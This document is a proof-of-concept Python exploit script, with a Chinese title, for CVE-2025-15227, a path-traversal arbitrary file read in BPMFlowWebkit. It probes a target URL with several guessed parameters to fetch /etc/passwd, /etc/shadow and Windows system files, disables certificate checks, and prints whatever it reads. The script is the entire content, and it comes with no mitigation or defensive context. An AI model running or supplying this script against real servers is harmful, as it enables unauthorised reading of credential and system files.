CVE-2025-15227 BPMFlowWebkit 任意文件读取漏洞

import requests import sys def exploit_cve_2025_15227(target_url, file_path): """ CVE-2025-15227 PoC - BPMFlowWebkit Arbitrary File Read Target: BPMFlowWebkit by WELLTEND TECHNOLOGY Vulnerability: Absolute Path Traversal leading to Arbitrary File Read """ # Common paths to test test_files = [ '/etc/passwd', '/etc/hosts', '/etc/shadow', 'C:\\Windows\\win.ini', 'C:\\Windows\\System32\\drivers\\etc\\hosts' ] if file_path: test_files = [file_path] for test_file in test_files: # Try different path traversal patterns paths = [ f'?path={test_file}', f'?file={test_file}', f'?download={test_file}', f'/download?path={test_file}', f'/read?filename={test_file}' ] for path in paths: try: url = target_url.rstrip('/') + path response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! Read file: {test_file}") print(f"[+] URL: {url}") print(f"[+] Content:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error testing {path}: {e}") print("[-] No successful file read detected") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_15227_poc.py <target_url> [file_path]") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else None exploit_cve_2025_15227(target, file_path)